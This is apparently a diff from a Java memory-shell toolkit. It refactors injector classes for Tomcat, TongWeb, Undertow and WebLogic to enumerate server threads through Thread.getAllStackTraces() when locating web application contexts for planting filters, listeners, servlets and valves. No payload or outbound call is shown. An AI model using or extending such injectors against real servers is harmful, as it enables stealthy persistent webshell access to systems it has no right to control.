a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index 9d69ce5b..10bf23d9 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -6,10 +6,7 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -49,15 +46,13 @@ public class TomcatWebSocketInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { HashMap children = (HashMap) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index c355e42b..79988340 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -6,10 +6,7 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.logging.Logger; import java.util.zip.GZIPInputStream; @@ -49,7 +46,7 @@ public class TongWebFilterInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index 370534db..c898fed1 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -39,7 +39,7 @@ public class TongWebListenerInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 5ffd17a7..7ebd1dc8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -39,7 +39,7 @@ public class TongWebValveInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index 786d99c4..069e5245 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -6,10 +6,7 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.zip.GZIPInputStream; @@ -48,7 +45,7 @@ public class UndertowFilterInjector { public List getContext() { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { Class clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 482825d3..78fcf834 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; @@ -41,7 +42,7 @@ public class UndertowListenerInjector { public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index fd111b30..9dcad9b1 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -45,7 +46,7 @@ public class UndertowServletInjector { public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index 7776b3bb..ca4b92a0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -87,12 +87,8 @@ public class WebLogicFilterInjector { public static Object[] getContextsByThreads() throws Throwable { Set webappContexts = new HashSet(); - ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); - int threadCount = threadGroup.activeCount(); - Thread[] threads = new Thread[threadCount]; - threadGroup.enumerate(threads); - for (int i = 0; i < threadCount; i++) { - Thread thread = threads[i]; + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { if (thread != null) { Object workEntry = getFieldValue(thread, "workEntry"); if (workEntry != null) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 152e0fe2..29ae7c38 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -86,12 +86,8 @@ public class WebLogicListenerInjector { public static Object[] getContextsByThreads() throws Throwable { Set webappContexts = new HashSet(); - ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); - int threadCount = threadGroup.activeCount(); - Thread[] threads = new Thread[threadCount]; - threadGroup.enumerate(threads); - for (int i = 0; i < threadCount; i++) { - Thread thread = threads[i]; + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { if (thread != null) { Object workEntry = getFieldValue(thread, "workEntry"); if (workEntry != null) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index 0c451b1f..712b343c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -92,12 +92,8 @@ public class WebLogicServletInjector { public static Object[] getContextsByThreads() throws Throwable { Set webappContexts = new HashSet(); - ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); - int threadCount = threadGroup.activeCount(); - Thread[] threads = new Thread[threadCount]; - threadGroup.enumerate(threads); - for (int i = 0; i < threadCount; i++) { - Thread thread = threads[i]; + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { if (thread != null) { Object workEntry = getFieldValue(thread, "workEntry"); if (workEntry != null) {